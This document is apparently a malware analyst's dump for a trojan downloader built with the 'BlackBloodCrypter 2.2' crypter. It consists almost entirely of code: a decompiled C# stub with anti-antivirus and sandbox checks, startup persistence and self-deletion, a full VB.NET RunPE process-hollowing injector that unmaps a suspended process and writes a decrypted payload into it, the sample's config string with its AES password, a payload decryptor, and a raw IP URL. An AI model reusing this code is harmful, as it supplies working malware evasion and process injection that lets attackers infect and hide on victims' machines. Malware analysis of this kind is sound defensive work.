Win32.Trojan-Downloader.MSIL.Agent.xf.3.a

public static void Main()
{
 ResourceManager manager = new ResourceManager("TempRes", Assembly.GetExecutingAssembly());
 byte[] inArray = (byte[]) manager.GetObject("crypted");
 string newValue = manager.GetString("settings");
 BindedData = manager.GetString("bind");
 RunPE = manager.GetString("runpe");
 char ch = '%';
 string[] strArray = newValue.Split(new char[] { ch });
 string str8 = strArray[4];
 string str2 = strArray[5];
 string str = strArray[3];
 string str6 = strArray[11];
 string str4 = strArray[6];
 string str3 = strArray[10];
 string str5 = strArray[12];
 if (str3 == "1")
 {
 OnlineSub(); //checked ob internet an ist
 }
 if (str == "1")
 {
 Daanteys.Enable(); //anti av/vm/sandbox
 }
 if (str2 == "1")
 {
 Thread thread = new Thread(new ThreadStart(Stub.BindSub));
 thread.IsBackground = true;
 thread.Start();
 }
 if (str8 == "1")
 {
 AddStartUp();
 }
 RunPE = RunPE.Replace("%%CDATA%%", CD.format(Convert.ToBase64String(inArray))); //der eigentliche Schädling
 RunPE = RunPE.Replace("%%Settings%%", newValue);
 if (str5 == "DefBrw")
 {
 str5 = defaultbrowser();
 }
 RunPE = RunPE.Replace("%%INJECT%%", str5);
 Execute(RunPE); //im Speicher ausführen
 if (str4 == "1")
 {
 switch (strArray[7])
 {
 case "":
 Interaction.MsgBox(strArray[8], MsgBoxStyle.Critical, strArray[9]);
 goto Label_023D;

 case "Exclamation":
 Interaction.MsgBox(strArray[8], MsgBoxStyle.Exclamation, strArray[9]);
 goto Label_023D;

 case "Critical":
 Interaction.MsgBox(strArray[8], MsgBoxStyle.Critical, strArray[9]);
 goto Label_023D;

 case "Question":
 Interaction.MsgBox(strArray[8], MsgBoxStyle.Question, strArray[9]);
 break;

 case "Information":
 Interaction.MsgBox(strArray[8], MsgBoxStyle.Information, strArray[9]);
 break;
 }
 }
Label_023D:
 if (str6 == "1")
 {
 MeltME(); //sich selber löschen
 }
}

9%AES%cFwmeodjIGLViDo%0%0%0%0%Critical%%%0%0%explorer.exe%

Imports System.Text
Imports System.Runtime.InteropServices
Imports System
Imports Microsoft.VisualBasic
Imports System.ComponentModel
Imports System.IO.Compression
Imports System.IO

Namespace Inject
Public Class RunPE

Public Shared Function DoStuff() As Boolean

Dim Setting As String = "%%Settings%%"

Dim FileSplit As Char = "%%BlackBloodCrypter2.2%%"

Dim SplitedData() as String = Setting.Split(FileSplit)

 Dim Password As String = SplitedData(2)

 Dim Encryption As String = SplitedData(1)

 Dim CryptData As String = %%CDATA%%

 Dim InjectInto as String = "%%INJECT%%"
 
 If Environment.OSVersion.Platform.ToString.Contains("32") OrElse Environment.OSVersion.Platform.ToString.Contains("86") Then
 If Encryption = "RC4" Then
 InjectPE(RC4(Convert.FromBase64String(CryptData), System.Text.Encoding.Default.GetBytes(Password)), InjectInto)
 ElseIf Encryption = "AES" Then
 InjectPE(AES_Decrypt(Convert.FromBase64String(CryptData), System.Text.Encoding.Default.GetBytes(Password)), InjectInto)
 ElseIf Encryption = "DES" Then
 InjectPE(DES_Decrypt(Convert.FromBase64String(CryptData), System.Text.Encoding.Default.GetBytes(Password)), InjectInto)
 ElseIf Encryption = "RC2" Then
 InjectPE(RC2_Decrypt(Convert.FromBase64String(CryptData), System.Text.Encoding.Default.GetBytes(Password)), InjectInto)
 ElseIf Encryption = "STR" Then
 InjectPE(Crypt(Convert.FromBase64String(CryptData), System.Text.Encoding.Default.GetBytes(Password)), InjectInto)
 ElseIf Encryption = "TDES" Then
 InjectPE(TDES_Decrypt(Convert.FromBase64String(CryptData), System.Text.Encoding.Default.GetBytes(Password)), InjectInto)
 End If
 Else
 If Encryption = "RC4" Then
 InjectPE(RC4(Convert.FromBase64String(CryptData), System.Text.Encoding.Default.GetBytes(Password)), Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") & "Microsoft.NET\Framework\v2.0.50727\vbc.exe")
 ElseIf Encryption = "AES" Then
 InjectPE(AES_Decrypt(Convert.FromBase64String(CryptData), System.Text.Encoding.Default.GetBytes(Password)), Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") & "Microsoft.NET\Framework\v2.0.50727\vbc.exe")
 ElseIf Encryption = "DES" Then
 InjectPE(DES_Decrypt(Convert.FromBase64String(CryptData), System.Text.Encoding.Default.GetBytes(Password)), Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") & "Microsoft.NET\Framework\v2.0.50727\vbc.exe")
 ElseIf Encryption = "RC2" Then
 InjectPE(RC2_Decrypt(Convert.FromBase64String(CryptData), System.Text.Encoding.Default.GetBytes(Password)), Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") & "Microsoft.NET\Framework\v2.0.50727\vbc.exe")
 ElseIf Encryption = "STR" Then
 InjectPE(Crypt(Convert.FromBase64String(CryptData), System.Text.Encoding.Default.GetBytes(Password)), Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") & "Microsoft.NET\Framework\v2.0.50727\vbc.exe")
 ElseIf Encryption = "TDES" Then
 InjectPE(TDES_Decrypt(Convert.FromBase64String(CryptData), System.Text.Encoding.Default.GetBytes(Password)), Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("system32", "") & "Microsoft.NET\Framework\v2.0.50727\vbc.exe")
 End If
 End If
Return True
End Function
 Public Shared Function AES_Decrypt(ByVal input As Byte(), ByVal pass As Byte()) As Byte()
 Dim AES As New System.Security.Cryptography.RijndaelManaged
 Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
 Dim decrypted() As Byte
 Try
 Dim hash(31) As Byte
 Dim temp As Byte() = Hash_AES.ComputeHash(pass)
 Array.Copy(temp, 0, hash, 0, 16)
 Array.Copy(temp, 0, hash, 15, 16)
 AES.Key = hash
 AES.Mode = Security.Cryptography.CipherMode.ECB
 Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
 Dim Buffer As Byte() = input
 decrypted = DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)
 Return decrypted
 Catch ex As Exception
 Return Nothing
 End Try
 End Function
.....
 <DllImport("kernel32")> _
 Private Shared Function CreateProcess(ByVal appName As String, ByVal commandLine As StringBuilder, ByVal procAttr As IntPtr, ByVal thrAttr As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal inherit As Boolean, ByVal creation As Integer, _
 ByVal env As IntPtr, ByVal curDir As String, ByVal sInfo As Byte(), ByVal pInfo As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
 End Function
 <DllImport("kernel32")> _
 Private Shared Function GetThreadContext(ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
 End Function
 <DllImport("ntdll")> _
 Private Shared Function NtUnmapViewOfSection(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr) As UInteger
 End Function
 <DllImport("kernel32")> _
 Private Shared Function ReadProcessMemory(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, ByRef bufr As IntPtr, ByVal bufrSize As Integer, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
 End Function
 <DllImport("kernel32.dll")> _
 Private Shared Function ResumeThread(ByVal hThread As IntPtr) As UInteger
 End Function
 Declare Function usegfsuiefgseuf Lib "kernel32" Alias "SetThreadContext" (ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
 <DllImport("kernel32")> _
 Private Shared Function VirtualAllocEx(ByVal hProc As IntPtr, ByVal addr As IntPtr, ByVal size As IntPtr, ByVal allocType As Integer, ByVal prot As Integer) As IntPtr
 End Function
 <DllImport("kernel32", CharSet:=CharSet.Auto, SetLastError:=True)> _
 Private Shared Function VirtualProtectEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As IntPtr, ByVal flNewProtect As UInteger, ByRef lpflOldProtect As UInteger) As Boolean
 End Function
 <DllImport("kernel32.dll", SetLastError:=True)> _
 Private Shared Function WriteProcessMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As Byte(), ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As Integer) As Boolean
 End Function

 Public Shared Function InjectPE(ByVal bytes() as Byte, ByVal InjectInto as String) As Boolean
 Try
 Dim procAttr As IntPtr = IntPtr.Zero
 Dim processInfo As IntPtr() = New IntPtr(3) {}
 Dim startupInfo As Byte() = New Byte(67) {}

 Dim num2 As Integer = BitConverter.ToInt32(bytes, 60)
 Dim num As Integer = BitConverter.ToInt16(bytes, num2 + 6)
 Dim ptr4 As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H54))

 If CreateProcess(Nothing, New StringBuilder(InjectInto), procAttr, procAttr, False, 4, _
 procAttr, Nothing, startupInfo, processInfo) Then
 Dim ctxt As UInteger() = New UInteger(178) {}
 ctxt(0) = &H10002
 If GetThreadContext(processInfo(1), ctxt) Then
 Dim baseAddr As New IntPtr(ctxt(&H29) + 8L)

 Dim buffer__1 As IntPtr = IntPtr.Zero
 Dim bufferSize As New IntPtr(4)

 Dim numRead As IntPtr = IntPtr.Zero

 If ReadProcessMemory(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso (NtUnmapViewOfSection(processInfo(0), buffer__1) = 0) Then
 Dim addr As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H34))
 Dim size As New IntPtr(BitConverter.ToInt32(bytes, num2 + 80))
 Dim lpBaseAddress As IntPtr = VirtualAllocEx(processInfo(0), addr, size, &H3000, &H40)

 Dim lpNumberOfBytesWritten As Integer

 WriteProcessMemory(processInfo(0), lpBaseAddress, bytes, CUInt(CInt(ptr4)), lpNumberOfBytesWritten)
 Dim num5 As Integer = num - 1
 For i As Integer = 0 To num5
 Dim dst As Integer() = New Integer(9) {}
 Buffer.BlockCopy(bytes, (num2 + &HF8) + (i * 40), dst, 0, 40)
 Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {}
 Buffer.BlockCopy(bytes, dst(5), buffer2, 0, buffer2.Length)
 addr = New IntPtr(buffer2.Length)
 size = New IntPtr(lpBaseAddress.ToInt32() + dst(3))
 WriteProcessMemory(processInfo(0), size, buffer2, CUInt(addr), lpNumberOfBytesWritten)
 Next
 size = New IntPtr(ctxt(&H29) + 8L)
 addr = New IntPtr(4)

 WriteProcessMemory(processInfo(0), size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr), lpNumberOfBytesWritten)
 ctxt(&H2C) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40))
 usegfsuiefgseuf(processInfo(1), ctxt)
 End If
 End If
 ResumeThread(processInfo(1))
 End If
 Catch
 Return False
 End Try
 Return True
 End Function

 static void Main(string[] args)
 {
 string pathInput = @"C:\Users\Admin\Downloads\crypted";
 string pathOutput = @"C:\Users\Admin\Downloads\crypted.exe";
 string password = "cFwmeodjIGLViDo";

 BinaryReader b = new BinaryReader(File.Open(pathInput, FileMode.Open));
 byte[] buffer = b.ReadBytes((int)b.BaseStream.Length);
 b.Close();
 RijndaelManaged rj = new RijndaelManaged();
 MD5CryptoServiceProvider crp = new MD5CryptoServiceProvider();
 byte[] hash = crp.ComputeHash(Encoding.Default.GetBytes(password));
 byte[] hashpw = new byte[32];
 Array.Copy(hash, 0, hashpw, 0, 16);
 Array.Copy(hash, 0, hashpw, 15, 16);
 rj.Key = hashpw;
 rj.Mode = CipherMode.ECB;
 ICryptoTransform transform = rj.CreateDecryptor();
 byte[] decrypted = null;
 try
 {
 decrypted = transform.TransformFinalBlock(buffer, 0, buffer.Length);
 }
 catch (CryptographicException ex)
 {
 Console.WriteLine(ex.ToString());
 Console.Read();
 }
 BinaryWriter writeBinay = new BinaryWriter(new FileStream(pathOutput, FileMode.Create));
 writeBinay.Write(decrypted);
 writeBinay.Close(); 
 }

http://46.182.124.42/index2.php